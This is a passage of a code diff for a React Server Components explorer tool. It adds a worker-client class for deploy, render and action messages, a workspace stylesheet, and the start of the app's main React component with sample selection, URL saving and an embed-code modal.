this.streams.set(requestId, controller); 49 + pending.resolve(stream); 50 + return; 51 + } 52 + 53 + if (type === 'stream-chunk') { 54 + const controller = this.streams.get(requestId); 55 + if (controller) controller.enqueue(chunk); 56 + return; 57 + } 58 + 59 + if (type === 'stream-end') { 60 + const controller = this.streams.get(requestId); 61 + if (controller) { 62 + controller.close(); 63 + this.streams.delete(requestId); 64 + } 65 + return; 66 + } 67 + 68 + if (type === 'stream-error') { 69 + const controller = this.streams.get(requestId); 70 + if (controller) { 71 + controller.error(new Error(error.message)); 72 + this.streams.delete(requestId); 73 + } 74 + return; 75 + } 76 + 77 + const pending = this.pending.get(requestId); 78 + if (!pending) { 79 + console.warn(`No pending request for ${requestId}`); 80 + return; 81 + } 82 + 83 + this.pending.delete(requestId); 84 + 85 + if (type === 'error') { 86 + const err = new Error(error.message); 87 + err.stack = error.stack; 88 + pending.reject(err); 89 + } else if (type === 'deployed') { 90 + pending.resolve(); 91 + } 92 + } 93 + 94 + handleError(event) { 95 + const errorMsg = event.message || event.error?.message || 'Unknown worker error'; 96 + console.error(`Worker error: ${errorMsg}`); 97 + 98 + for (const [, pending] of this.pending) { 99 + pending.reject(new Error(`Worker error: ${errorMsg}`)); 100 + } 101 + this.pending.clear(); 102 + } 103 + 104 + async deploy({ compiledCode, manifest, actionNames }) { 105 + await this.readyPromise; 106 + const requestId = randomUUID(); 107 + 108 + return new Promise((resolve, reject) => { 109 + this.pending.set(requestId, { resolve, reject }); 110 + this.worker.postMessage({ 111 + type: 'deploy', 112 + requestId, 113 + compiledCode, 114 + manifest, 115 + actionNames, 116 + }); 117 + }); 118 + } 119 + 120 + async render() { 121 + await this.readyPromise; 122 + const requestId = randomUUID(); 123 + 124 + return new Promise((resolve, reject) => { 125 + this.pending.set(requestId, { resolve, reject }); 126 + this.worker.postMessage({ type: 'render', requestId }); 127 + }); 128 + } 129 + 130 + async callAction(actionId, encodedArgs) { 131 + await this.readyPromise; 132 + const requestId = randomUUID(); 133 + 134 + return new Promise((resolve, reject) => { 135 + this.pending.set(requestId, { resolve, reject }); 136 + this.worker.postMessage({ 137 + type: 'action', 138 + requestId, 139 + actionId, 140 + encodedArgs: serializeForTransfer(encodedArgs), 141 + }); 142 + }); 143 + } 144 + 145 + async callActionRaw(actionId, rawPayload) { 146 + await this.readyPromise; 147 + const requestId = randomUUID(); 148 + 149 + return new Promise((resolve, reject) => { 150 + this.pending.set(requestId, { resolve, reject }); 151 + this.worker.postMessage({ 152 + type: 'action', 153 + requestId, 154 + actionId, 155 + encodedArgs: { type: 'formdata', data: rawPayload }, 156 + }); 157 + }); 158 + } 159 + 160 + terminate() { 161 + this.worker.terminate(); 162 + for (const [, pending] of this.pending) { 163 + pending.reject(new Error('Worker terminated')); 164 + } 165 + this.pending.clear(); 166 + for (const [, controller] of this.streams) { 167 + controller.error(new Error('Worker terminated')); 168 + } 169 + this.streams.clear(); 170 + } 171 + }
+855
src/client/styles/workspace.css
··· 1 + /* Workspace styles - shared between main app and embed */ 2 + 3 + /* Embed header */ 4 + .embed-header { 5 + display: flex; 6 + align-items: center; 7 + justify-content: space-between; 8 + padding: 0 12px; 9 + height: 32px; 10 + background: var(--surface); 11 + border-bottom: 1px solid var(--border); 12 + flex-shrink: 0; 13 + } 14 + .embed-title { 15 + font-size: 11px; 16 + font-weight: 600; 17 + color: var(--text-dim); 18 + letter-spacing: 0.3px; 19 + } 20 + .embed-fullscreen-link { 21 + display: flex; 22 + align-items: center; 23 + justify-content: center; 24 + width: 28px; 25 + height: 28px; 26 + margin-right: -10px; 27 + border-radius: 4px; 28 + color: var(--text-dim); 29 + text-decoration: none; 30 + transition: all 0.15s; 31 + } 32 + .embed-fullscreen-link:hover { 33 + background: var(--border); 34 + color: var(--text-bright); 35 + } 36 + 37 + main { 38 + flex: 1; 39 + min-height: 0; 40 + display: grid; 41 + grid-template-columns: 50% 50%; 42 + grid-template-rows: 50% 50%; 43 + overflow: hidden; 44 + } 45 + .pane { 46 + display: flex; 47 + flex-direction: column; 48 + overflow: hidden; 49 + } 50 + /* Left column border */ 51 + .pane:nth-child(1), 52 + .pane:nth-child(3) { 53 + border-right: 1px solid var(--border); 54 + } 55 + /* Top row border */ 56 + .pane:nth-child(1), 57 + .pane:nth-child(2) { 58 + border-bottom: 1px solid var(--border); 59 + } 60 + .pane-header { 61 + padding: 6px 12px; 62 + font-size: 10px; 63 + text-transform: uppercase; 64 + letter-spacing: 1px; 65 + color: var(--text-dim); 66 + flex-shrink: 0; 67 + border-bottom: 1px solid var(--border); 68 + } 69 + .editor-container { 70 + flex: 1; 71 + min-height: 0; 72 + position: relative; 73 + overflow: hidden; 74 + background: var(--bg); 75 + } 76 + .editor-container .cm-editor { 77 + position: absolute !important; 78 + top: 0; 79 + left: 0; 80 + right: 0; 81 + bottom: 0; 82 + height: auto !important; 83 + background: transparent; 84 + } 85 + .editor-container .cm-editor .cm-scroller { 86 + overflow: auto !important; 87 + } 88 + .flight-output { 89 + flex: 1; 90 + min-height: 0; 91 + margin: 0; 92 + padding: 12px; 93 + font-family: var(--font-mono); 94 + font-size: 12px; 95 + line-height: 1.6; 96 + overflow: auto; 97 + white-space: pre-wrap; 98 + word-break: break-all; 99 + background: var(--bg); 100 + color: var(--text-dim); 101 + } 102 + .flight-output.error { 103 + color: #e57373; 104 + } 105 + .action-args { 106 + color: var(--text); 107 + } 108 + 109 + /* Flight log */ 110 + .flight-log { 111 + flex: 1; 112 + overflow: auto; 113 + padding: 8px; 114 + display: flex; 115 + flex-direction: column; 116 + gap: 6px; 117 + } 118 + .log-entry { 119 + background: var(--surface); 120 + border: 1px solid var(--border); 121 + border-radius: 4px; 122 + transition: all 0.15s ease; 123 + border-left: 3px solid #555; 124 + } 125 + .log-entry + .log-entry { 126 + margin-top: 12px; 127 + } 128 + .log-entry.active { 129 + border-left-color: #ffd54f; 130 + } 131 + .log-entry.done-entry { 132 + border-left-color: #555; 133 + opacity: 0.8; 134 + } 135 + .log-entry.pending-entry { 136 + border-left-color: #333; 137 + opacity: 0.4; 138 + } 139 + .log-entry-header { 140 + display: flex; 141 + align-items: center; 142 + justify-content: space-between; 143 + gap: 8px; 144 + padding: 6px 10px; 145 + font-size: 11px; 146 + border-bottom: 1px solid var(--border); 147 + } 148 + .log-entry-direction { 149 + font-family: var(--font-mono); 150 + font-weight: 600; 151 + color: var(--text-dim); 152 + } 153 + .log-entry.active .log-entry-direction { 154 + color: #ffd54f; 155 + } 156 + .log-entry-args { 157 + padding: 6px 10px; 158 + font-family: var(--font-mono); 159 + font-size: 11px; 160 + border-bottom: 1px solid var(--border); 161 + color: var(--text-dim); 162 + } 163 + .action-args-label { 164 + margin-right: 6px; 165 + color: var(--text-dim); 166 + } 167 + .log-entry-label { 168 + color: var(--text); 169 + font-weight: 500; 170 + } 171 + .log-entry-count { 172 + margin-left: auto; 173 + color: var(--text-dim); 174 + font-family: var(--font-mono); 175 + } 176 + .log-entry-content { 177 + margin: 0; 178 + padding: 8px 10px; 179 + font-family: var(--font-mono); 180 + font-size: 11px; 181 + line-height: 1.5; 182 + white-space: pre-wrap; 183 + word-break: break-all; 184 + } 185 + .log-entry .action-args { 186 + color: #81c784; 187 + } 188 + 189 + /* Action request (args display) */ 190 + .log-entry-request { 191 + padding: 8px 10px; 192 + background: rgba(0, 0, 0, 0.2); 193 + border-bottom: 1px solid var(--border); 194 + } 195 + .log-entry-request-args { 196 + margin: 0; 197 + font-family: var(--font-mono); 198 + font-size: 11px; 199 + line-height: 1.4; 200 + color: #81c784; 201 + white-space: pre-wrap; 202 + word-break: break-all; 203 + } 204 + 205 + /* Log entry preview (embedded scrubber) */ 206 + .log-entry-preview { 207 + border-top: 1px solid var(--border); 208 + padding: 8px; 209 + } 210 + .log-entry-preview-controls { 211 + display: flex; 212 + align-items: center; 213 + gap: 8px; 214 + margin-bottom: 8px; 215 + } 216 + .log-step-btn { 217 + background: var(--border); 218 + border: none; 219 + color: #ffd54f; 220 + width: 24px; 221 + height: 24px; 222 + border-radius: 3px; 223 + cursor: pointer; 224 + font-size: 10px; 225 + display: flex; 226 + align-items: center; 227 + justify-content: center; 228 + } 229 + .log-step-btn:hover:not(:disabled) { 230 + background: #444; 231 + } 232 + .log-step-btn:disabled { 233 + opacity: 0.3; 234 + cursor: not-allowed; 235 + } 236 + .log-entry-slider { 237 + flex: 1; 238 + height: 4px; 239 + -webkit-appearance: none; 240 + appearance: none; 241 + background: var(--border); 242 + border-radius: 2px; 243 + outline: none; 244 + } 245 + .log-entry-slider::-webkit-slider-thumb { 246 + -webkit-appearance: none; 247 + width: 14px; 248 + height: 14px; 249 + background: #ffd54f; 250 + border-radius: 50%; 251 + cursor: pointer; 252 + } 253 + .log-entry-slider::-moz-range-thumb { 254 + width: 14px; 255 + height: 14px; 256 + background: #ffd54f; 257 + border-radius: 50%; 258 + cursor: pointer; 259 + border: none; 260 + } 261 + .value-pending { 262 + color: #999; 263 + font-style: italic; 264 + font-size: 11px; 265 + } 266 + .value-loading { 267 + color: #999; 268 + font-style: italic; 269 + } 270 + .log-entry-step-info { 271 + font-size: 11px; 272 + color: var(--text-dim); 273 + font-family: var(--font-mono); 274 + } 275 + .log-entry-flight-lines { 276 + margin: 0; 277 + padding: 6px; 278 + background: var(--bg); 279 + border-radius: 3px; 280 + font-size: 11px; 281 + line-height: 1.4; 282 + overflow: auto; 283 + } 284 + .log-entry-flight-lines .flight-line { 285 + display: block; 286 + padding: 6px 8px; 287 + margin-bottom: 3px; 288 + border-radius: 4px; 289 + word-break: break-all; 290 + white-space: pre-wrap; 291 + border-left: 2px solid transparent; 292 + transition: all 0.15s ease; 293 + } 294 + .log-entry-flight-lines .flight-line:last-child { 295 + margin-bottom: 0; 296 + } 297 + .log-entry-flight-lines .line-done { 298 + color: #999; 299 + background: rgba(255, 255, 255, 0.03); 300 + border-left-color: #555; 301 + } 302 + .log-entry-flight-lines .line-next { 303 + color: #e0e0e0; 304 + background: rgba(255, 213, 79, 0.12); 305 + border-left-color: #ffd54f; 306 + } 307 + .log-entry-flight-lines .line-pending { 308 + color: #444; 309 + background: transparent; 310 + border-left-color: #333; 311 + opacity: 0.4; 312 + } 313 + 314 + /* Split layout: left=stream (scrolls), right=tree (dictates height) */ 315 + .log-entry-split { 316 + display: flex; 317 + gap: 8px; 318 + align-items: stretch; 319 + } 320 + .log-entry-split .log-entry-flight-lines-wrapper { 321 + flex: 1; 322 + min-width: 0; 323 + position: relative; 324 + min-height: 150px; 325 + } 326 + .log-entry-split .log-entry-flight-lines { 327 + position: absolute; 328 + top: 0; 329 + left: 0; 330 + right: 0; 331 + bottom: 0; 332 + } 333 + .log-entry-split .log-entry-tree { 334 + flex: 1; 335 + min-width: 0; 336 + display: flex; 337 + flex-direction: column; 338 + } 339 + /* Tree view in log entry - expands to fill height */ 340 + .log-entry-tree { 341 + flex: 1; 342 + min-width: 0; 343 + border-radius: 4px; 344 + overflow: auto; 345 + border: 1px solid var(--border); 346 + } 347 + .log-entry-tree:has(.flight-tree) { 348 + background: #000; 349 + } 350 + .log-entry-tree.full-width { 351 + flex: none; 352 + width: 100%; 353 + } 354 + .log-entry-tree .flight-tree { 355 + padding: 8px; 356 + font-size: 11px; 357 + line-height: 1.6; 358 + } 359 + .jsx-output { 360 + margin: 0; 361 + white-space: pre-wrap; 362 + word-break: break-word; 363 + color: var(--text); 364 + } 365 + .value-content { 366 + background: #f8f8f8; 367 + color: #111; 368 + font-family: -apple-system, BlinkMacSystemFont, sans-serif; 369 + padding: 8px; 370 + border-radius: 3px; 371 + margin: -8px; 372 + } 373 + .value-string { color: #22863a; } 374 + .value-number { color: #005cc5; } 375 + .value-boolean { color: #d73a49; } 376 + .value-null, .value-undefined { color: #6a737d; font-style: italic; } 377 + .value-key { color: #005cc5; } 378 + .value-indent { 379 + display: block; 380 + padding-left: 16px; 381 + } 382 + .value-array-item, .value-object-entry { 383 + display: block; 384 + } 385 + .value-react-element { 386 + display: inline; 387 + background: rgba(0, 0, 0, 0.04); 388 + padding: 2px 4px; 389 + border-radius: 3px; 390 + } 391 + .value-error { 392 + color: #e57373; 393 + font-style: italic; 394 + } 395 + .value-loading { 396 + color: var(--text-dim); 397 + font-style: italic; 398 + } 399 + 400 + /* Flight Tree View */ 401 + .flight-tree { 402 + flex: 1; 403 + min-height: 0; 404 + padding: 12px; 405 + font-family: var(--font-mono); 406 + font-size: 12px; 407 + line-height: 1.8; 408 + overflow: auto; 409 + background: var(--bg); 410 + } 411 + .tree-empty { 412 + color: var(--text-dim); 413 + font-style: italic; 414 + } 415 + .tree-element, 416 + .tree-client-component, 417 + .tree-suspense, 418 + .tree-lazy { 419 + margin-left: 0; 420 + } 421 + .tree-children { 422 + margin-left: 16px; 423 + border-left: 1px solid #333; 424 + padding-left: 12px; 425 + } 426 + .tree-tag { 427 + color: #e06c75; 428 + } 429 + .tree-client-tag { 430 + color: #c678dd; 431 + } 432 + .tree-client-ref { 433 + color: #5c6370; 434 + font-size: 10px; 435 + } 436 + .tree-react-tag { 437 + color: #e5c07b; 438 + } 439 + .tree-pending { 440 + display: inline-block; 441 + color: #64b5f6; 442 + background: rgba(100, 181, 246, 0.15); 443 + padding: 2px 8px; 444 + border-radius: 10px; 445 + border: 1px solid rgba(100, 181, 246, 0.4); 446 + font-size: 10px; 447 + font-weight: 500; 448 + letter-spacing: 0.5px; 449 + animation: pending-pulse 2s ease-in-out infinite; 450 + } 451 + @keyframes pending-pulse { 452 + 0%, 100% { opacity: 0.7; } 453 + 50% { opacity: 1; } 454 + } 455 + .tree-string { 456 + color: #98c379; 457 + } 458 + .tree-number { 459 + color: #d19a66; 460 + } 461 + .tree-boolean { 462 + color: #56b6c2; 463 + } 464 + .tree-null, 465 + .tree-undefined { 466 + color: #5c6370; 467 + font-style: italic; 468 + } 469 + .tree-key, 470 + .tree-prop-name { 471 + color: #61afef; 472 + } 473 + .tree-ref { 474 + color: #c678dd; 475 + } 476 + .tree-object { 477 + color: var(--text-dim); 478 + } 479 + .tree-array { 480 + /* Arrays render children inline */ 481 + } 482 + .tree-props { 483 + color: var(--text-dim); 484 + } 485 + .tree-prop { 486 + color: var(--text-dim); 487 + } 488 + .tree-error { 489 + display: inline-block; 490 + color: #e57373; 491 + background: rgba(229, 115, 115, 0.15); 492 + padding: 2px 8px; 493 + border-radius: 10px; 494 + border: 1px solid rgba(229, 115, 115, 0.4); 495 + font-size: 10px; 496 + font-weight: 500; 497 + letter-spacing: 0.5px; 498 + } 499 + .tree-pending-tag { 500 + color: #ffd54f; 501 + background: rgba(255, 213, 79, 0.1); 502 + padding: 1px 4px; 503 + border-radius: 3px; 504 + border: 1px solid rgba(255, 213, 79, 0.3); 505 + } 506 + .tree-error-keyword { 507 + color: #c678dd; 508 + font-weight: 600; 509 + } 510 + .tree-error-message { 511 + color: #e57373; 512 + } 513 + .tree-function { 514 + color: #61afef; 515 + font-style: italic; 516 + } 517 + .tree-placeholder { 518 + color: #444; 519 + font-style: italic; 520 + } 521 + 522 + /* Playback controls */ 523 + .playback-container { 524 + display: flex; 525 + align-items: center; 526 + gap: 10px; 527 + padding: 8px 12px; 528 + background: var(--surface); 529 + border-bottom: 1px solid var(--border); 530 + } 531 + .playback-controls { 532 + display: flex; 533 + align-items: center; 534 + gap: 4px; 535 + } 536 + .control-btn { 537 + background: transparent; 538 + border: none; 539 + color: var(--text); 540 + width: 40px; 541 + height: 40px; 542 + border-radius: 6px; 543 + cursor: pointer; 544 + display: flex; 545 + align-items: center; 546 + justify-content: center; 547 + transition: all 0.1s; 548 + } 549 + .control-btn svg { 550 + width: 20px; 551 + height: 20px; 552 + } 553 + .control-btn:hover:not(:disabled) { 554 + background: var(--border); 555 + color: var(--text-bright); 556 + } 557 + .control-btn:disabled { 558 + opacity: 0.3; 559 + cursor: not-allowed; 560 + } 561 + .control-btn.play-btn.playing { 562 + color: #ffd54f; 563 + } 564 + .control-btn.step-btn { 565 + background: #ffd54f; 566 + color: #000; 567 + animation: pulse-step 1.5s ease-in-out infinite; 568 + } 569 + .control-btn.step-btn:hover:not(:disabled) { 570 + background: #ffe566; 571 + color: #000; 572 + animation: none; 573 + } 574 + .control-btn.step-btn:disabled { 575 + background: transparent; 576 + color: var(--text); 577 + animation: none; 578 + } 579 + @keyframes pulse-step { 580 + 0%, 100% { opacity: 1; } 581 + 50% { opacity: 0.7; } 582 + } 583 + .step-slider { 584 + flex: 1; 585 + height: 4px; 586 + -webkit-appearance: none; 587 + appearance: none; 588 + background: var(--border); 589 + border-radius: 2px; 590 + outline: none; 591 + } 592 + .step-slider::-webkit-slider-thumb { 593 + -webkit-appearance: none; 594 + appearance: none; 595 + width: 14px; 596 + height: 14px; 597 + background: #ffd54f; 598 + border-radius: 50%; 599 + cursor: pointer; 600 + border: none; 601 + } 602 + .step-slider::-moz-range-thumb { 603 + width: 14px; 604 + height: 14px; 605 + background: #ffd54f; 606 + border-radius: 50%; 607 + cursor: pointer; 608 + border: none; 609 + } 610 + .step-slider:disabled { 611 + opacity: 0.5; 612 + } 613 + .step-info { 614 + font-size: 11px; 615 + color: var(--text-dim); 616 + font-family: var(--font-mono); 617 + min-width: 60px; 618 + text-align: right; 619 + } 620 + 621 + /* Preview pane */ 622 + .preview-container { 623 + flex: 1; 624 + padding: 20px; 625 + background: #fff; 626 + color: #111; 627 + overflow: auto; 628 + font-family: -apple-system, BlinkMacSystemFont, sans-serif; 629 + font-size: 16px; 630 + line-height: 1.5; 631 + } 632 + .preview-container h1 { 633 + font-size: 28px; 634 + color: #000; 635 + margin: 0 0 16px; 636 + } 637 + .preview-container h2 { 638 + font-size: 22px; 639 + color: #000; 640 + } 641 + .preview-container h3 { 642 + font-size: 18px; 643 + color: #000; 644 + } 645 + .preview-container p { 646 + color: #111; 647 + margin: 8px 0; 648 + } 649 + .preview-container button { 650 + background: #333; 651 + color: #fff; 652 + border: none; 653 + padding: 8px 14px; 654 + border-radius: 4px; 655 + cursor: pointer; 656 + font-size: 14px; 657 + } 658 + .preview-container button:hover { 659 + background: #444; 660 + } 661 + .preview-container .empty { 662 + color: #999; 663 + font-style: italic; 664 + } 665 + .preview-container .empty.error { 666 + color: #c0392b; 667 + } 668 + .flight-output .empty { 669 + color: var(--text-dim); 670 + font-style: italic; 671 + } 672 + /* Pulsing dots for empty/waiting states */ 673 + .empty::after { 674 + content: ''; 675 + animation: none; 676 + } 677 + .waiting-dots::after { 678 + content: '...'; 679 + animation: pulse 1.5s ease-in-out infinite; 680 + } 681 + @keyframes pulse { 682 + 0%, 100% { opacity: 0.3; } 683 + 50% { opacity: 1; } 684 + } 685 + 686 + /* Raw input form */ 687 + .add-raw-btn-wrapper { 688 + display: flex; 689 + justify-content: center; 690 + margin-top: 8px; 691 + } 692 + .add-raw-btn { 693 + width: 24px; 694 + height: 24px; 695 + padding: 0; 696 + background: var(--border); 697 + border: 1px solid #444; 698 + border-radius: 50%; 699 + color: var(--text-dim); 700 + cursor: pointer; 701 + font-size: 14px; 702 + line-height: 22px; 703 + transition: all 0.15s; 704 + } 705 + .add-raw-btn:hover { 706 + background: #3a3a3a; 707 + border-color: #666; 708 + color: var(--text); 709 + } 710 + .raw-input-form { 711 + margin-top: 8px; 712 + padding: 10px; 713 + background: var(--surface); 714 + border: 1px solid var(--border); 715 + border-radius: 4px; 716 + } 717 + .raw-input-action { 718 + -webkit-appearance: none; 719 + appearance: none; 720 + width: 100%; 721 + padding: 5px 28px 5px 10px; 722 + margin-bottom: 8px; 723 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23999' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #333, #2a2a2a); 724 + border: 1px solid #555; 725 + border-radius: 4px; 726 + color: #fff; 727 + font-size: 12px; 728 + cursor: pointer; 729 + box-shadow: 0 1px 2px rgba(0,0,0,0.2); 730 + } 731 + .raw-input-action:hover { 732 + border-color: #666; 733 + background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 24 24' fill='none' stroke='%23bbb' stroke-width='2.5'%3E%3Cpath d='M6 9l6 6 6-6'/%3E%3C/svg%3E") no-repeat right 8px center, linear-gradient(to bottom, #3a3a3a, #333); 734 + } 735 + .raw-input-action:focus { 736 + outline: none; 737 + border-color: #ffd54f; 738 + } 739 + .raw-input-payload { 740 + width: 100%; 741 + padding: 8px; 742 + background: var(--bg); 743 + border: 1px solid var(--border); 744 + border-radius: 3px; 745 + color: var(--text); 746 + font-family: var(--font-mono); 747 + font-size: 11px; 748 + resize: vertical; 749 + min-height: 100px; 750 + } 751 + .raw-input-payload:focus { 752 + outline: none; 753 + border-color: #555; 754 + } 755 + .raw-input-buttons { 756 + display: flex; 757 + gap: 8px; 758 + margin-top: 8px; 759 + } 760 + .raw-input-buttons button { 761 + padding: 5px 12px; 762 + border-radius: 3px; 763 + font-size: 11px; 764 + cursor: pointer; 765 + } 766 + .raw-input-buttons button:first-child { 767 + background: #ffd54f; 768 + border: none; 769 + color: #000; 770 + } 771 + .raw-input-buttons button:first-child:disabled { 772 + background: #555; 773 + color: #888; 774 + cursor: not-allowed; 775 + } 776 + .raw-input-buttons button:last-child { 777 + background: transparent; 778 + border: 1px solid var(--border); 779 + color: var(--text-dim); 780 + } 781 + .raw-input-buttons button:last-child:hover { 782 + border-color: #555; 783 + color: var(--text); 784 + } 785 + .log-entry-header-right { 786 + display: flex; 787 + align-items: center; 788 + gap: 8px; 789 + } 790 + .delete-entry-btn { 791 + background: transparent; 792 + border: none; 793 + color: var(--text-dim); 794 + cursor: pointer; 795 + font-size: 14px; 796 + padding: 0 4px; 797 + line-height: 1; 798 + opacity: 0.5; 799 + transition: opacity 0.15s, color 0.15s; 800 + } 801 + .delete-entry-btn:hover { 802 + opacity: 1; 803 + color: #e57373; 804 + } 805 + 806 + /* Responsive - mobile */ 807 + @media (max-width: 768px) { 808 + /* Keep 4-grid layout on mobile */ 809 + /* Prevent iOS zoom on all form elements */ 810 + input, textarea, select { 811 + font-size: 16px !important; 812 + } 813 + .raw-input-payload { 814 + font-size: 16px !important; 815 + } 816 + /* Playback controls responsive */ 817 + .playback-container { 818 + padding: 8px 12px; 819 + gap: 8px; 820 + } 821 + .playback-controls { 822 + gap: 6px; 823 + } 824 + .control-btn { 825 + width: 44px; 826 + height: 44px; 827 + } 828 + .control-btn svg { 829 + width: 20px; 830 + height: 20px; 831 + } 832 + .step-info { 833 + min-width: 50px; 834 + font-size: 11px; 835 + } 836 + } 837 + @media (max-width: 480px) { 838 + /* Playback: hide slider and status, keep buttons tappable */ 839 + .step-slider, 840 + .step-info { 841 + display: none; 842 + } 843 + .playback-container { 844 + padding: 6px 8px; 845 + gap: 6px; 846 + } 847 + .control-btn { 848 + width: 44px; 849 + height: 44px; 850 + } 851 + .control-btn svg { 852 + width: 18px; 853 + height: 18px; 854 + } 855 + }
+232
src/client/ui/App.jsx
··· 1 + import React, { useState, useRef, useEffect, useMemo, version } from 'react'; 2 + import { SAMPLES } from '../samples.js'; 3 + import REACT_VERSIONS from '../../../scripts/versions.json'; 4 + 5 + const isDev = process.env.NODE_ENV === 'development'; 6 + 7 + function BuildSwitcher() { 8 + if (!import.meta.env.PROD) return null; 9 + 10 + const handleVersionChange = (e) => { 11 + const newVersion = e.target.value; 12 + if (newVersion !== version) { 13 + const modePath = isDev ? '/dev' : ''; 14 + window.location.href = `/${newVersion}${modePath}/` + window.location.search; 15 + } 16 + }; 17 + 18 + const handleModeChange = (e) => { 19 + const newIsDev = e.target.value === 'dev'; 20 + if (newIsDev !== isDev) { 21 + const modePath = newIsDev ? '/dev' : ''; 22 + window.location.href = `/${version}${modePath}/` + window.location.search; 23 + } 24 + }; 25 + 26 + return ( 27 + <div className="build-switcher"> 28 + <label>React</label> 29 + <select value={version} onChange={handleVersionChange}> 30 + {REACT_VERSIONS.map((v) => ( 31 + <option key={v} value={v}>{v}</option> 32 + ))} 33 + </select> 34 + <select value={isDev ? 'dev' : 'prod'} onChange={handleModeChange} className="mode-select"> 35 + <option value="prod">prod</option> 36 + <option value="dev">dev</option> 37 + </select> 38 + </div> 39 + ); 40 + } 41 + 42 + function getInitialCode() { 43 + const params = new URLSearchParams(window.location.search); 44 + const sampleKey = params.get('s'); 45 + const encodedCode = params.get('c'); 46 + 47 + if (encodedCode) { 48 + try { 49 + const decoded = JSON.parse(decodeURIComponent(escape(atob(encodedCode)))); 50 + return { server: decoded.server, client: decoded.client, sampleKey: null }; 51 + } catch (e) { 52 + console.error('Failed to decode URL code:', e); 53 + } 54 + } 55 + 56 + if (sampleKey && SAMPLES[sampleKey]) { 57 + return { server: SAMPLES[sampleKey].server, client: SAMPLES[sampleKey].client, sampleKey }; 58 + } 59 + 60 + return { server: SAMPLES.pagination.server, client: SAMPLES.pagination.client, sampleKey: 'pagination' }; 61 + } 62 + 63 + function saveToUrl(serverCode, clientCode) { 64 + const json = JSON.stringify({ server: serverCode, client: clientCode }); 65 + // btoa(unescape(encodeURIComponent(...))) is the standard way to base64 encode UTF-8 66 + // Don't wrap in encodeURIComponent - searchParams.set() handles that 67 + const encoded = btoa(unescape(encodeURIComponent(json))); 68 + const url = new URL(window.location.href); 69 + url.searchParams.delete('s'); 70 + url.searchParams.set('c', encoded); 71 + window.history.pushState({}, '', url); 72 + } 73 + 74 + function EmbedModal({ code, onClose }) { 75 + const textareaRef = useRef(null); 76 + const [copied, setCopied] = useState(false); 77 + 78 + const embedCode = useMemo(() => { 79 + const base = window.location.origin + window.location.pathname.replace(/\/$/, ''); 80 + const id = Math.random().toString(36).slice(2, 6); 81 + return `<div id="rsc-${id}" style="height: 500px;"></div> 82 + <script type="module"> 83 + import { mount } from '${base}/embed.js'; 84 + 85 + mount('#rsc-${id}', { 86 + server: \` 87 + ${code.server} 88 + \`, 89 + client: \` 90 + ${code.client} 91 + \` 92 + }); 93 + </script>`; 94 + }, [code]); 95 + 96 + const handleCopy = () => { 97 + navigator.clipboard.writeText(embedCode); 98 + setCopied(true); 99 + setTimeout(() => setCopied(false), 2000); 100 + }; 101 + 102 + return ( 103 + <div className="modal-overlay" onClick={onClose}> 104 + <div className="modal" onClick={e => e.stopPropagation()}> 105 + <div className="modal-header"> 106 + <h2>Embed this example</h2> 107 + <button className="modal-close" onClick={onClose}>&times;</button> 108 + </div> 109 + <div className="modal-body"> 110 + <p>Copy and paste this code into your HTML:</p> 111 + <textarea 112 + ref={textareaRef} 113 + readOnly 114 + value={embedCode} 115 + onClick={e => e.target.select()} 116 + /> 117 + </div> 118 + <div className="modal-footer"> 119 + <button className="copy-btn" onClick={handleCopy}> 120 + {copied ? 'Copied!' : 'Copy to clipboard'} 121 + </button> 122 + </div> 123 + </div> 124 + </div> 125 + ); 126 + } 127 + 128 + export function App() { 129 + const [initialCode] = useState(getInitialCode); 130 + const [currentSample, setCurrentSample] = useState(initialCode.sampleKey); 131 + const [workspaceCode, setWorkspaceCode] = useState({ 132 + server: initialCode.server, 133 + client: initialCode.client, 134 + }); 135 + const [liveCode, setLiveCode] = useState(workspaceCode); 136 + const [showEmbedModal, setShowEmbedModal] = useState(false); 137 + const iframeRef = useRef(null); 138 + 139 + useEffect(() => { 140 + const handleMessage = (event) => { 141 + if (event.data?.type === 'rsc-embed:ready') { 142 + iframeRef.current?.contentWindow?.postMessage({ 143 + type: 'rsc-embed:init', 144 + code: workspaceCode, 145 + showFullscreen: false 146 + }, '*'); 147 + } 148 + if (event.data?.type === 'rsc-embed:code-changed') { 149 + setLiveCode(event.data.code); 150 + } 151 + }; 152 + 153 + window.addEventListener('message', handleMessage); 154 + return () => window.removeEventListener('message', handleMessage); 155 + }, [workspaceCode]); 156 + 157 + useEffect(() => { 158 + setLiveCode(workspaceCode); 159 + if (iframeRef.current?.contentWindow) { 160 + iframeRef.current.contentWindow.postMessage({ 161 + type: 'rsc-embed:init', 162 + code: workspaceCode, 163 + showFullscreen: false 164 + }, '*'); 165 + } 166 + }, [workspaceCode]); 167 + 168 + const handleSave = () => { 169 + saveToUrl(liveCode.server, liveCode.client); 170 + setCurrentSample(null); 171 + }; 172 + 173 + const isDirty = currentSample 174 + ? liveCode.server !== SAMPLES[currentSample].server || liveCode.client !== SAMPLES[currentSample].client 175 + : liveCode.server !== initialCode.server || liveCode.client !== initialCode.client; 176 + 177 + const handleSampleChange = (e) => { 178 + const key = e.target.value; 179 + if (key && SAMPLES[key]) { 180 + const newCode = { 181 + server: SAMPLES[key].server, 182 + client: SAMPLES[key].client, 183 + }; 184 + setWorkspaceCode(newCode); 185 + setCurrentSample(key); 186 + const url = new URL(window.location.href); 187 + url.searchParams.delete('c'); 188 + url.searchParams.set('s', key); 189 + window.history.pushState({}, '', url); 190 + } 191 + }; 192 + 193 + return ( 194 + <> 195 + <header> 196 + <h1>RSC Explorer</h1> 197 + <div className="example-select-wrapper"> 198 + <label>Example</label> 199 + <select value={currentSample || ''} onChange={handleSampleChange}> 200 + {!currentSample && <option value="">Custom</option>} 201 + {Object.entries(SAMPLES).map(([key, sample]) => ( 202 + <option key={key} value={key}>{sample.name}</option> 203 + ))} 204 + </select> 205 + <button className="save-btn" onClick={handleSave} disabled={!isDirty} title="Save to URL"> 206 + <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2"> 207 + <path d="M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z" /> 208 + <polyline points="17 21 17 13 7 13 7 21" /> 209 + <polyline points="7 3 7 8 15 8" /> 210 + </svg> 211 + </button> 212 + <button 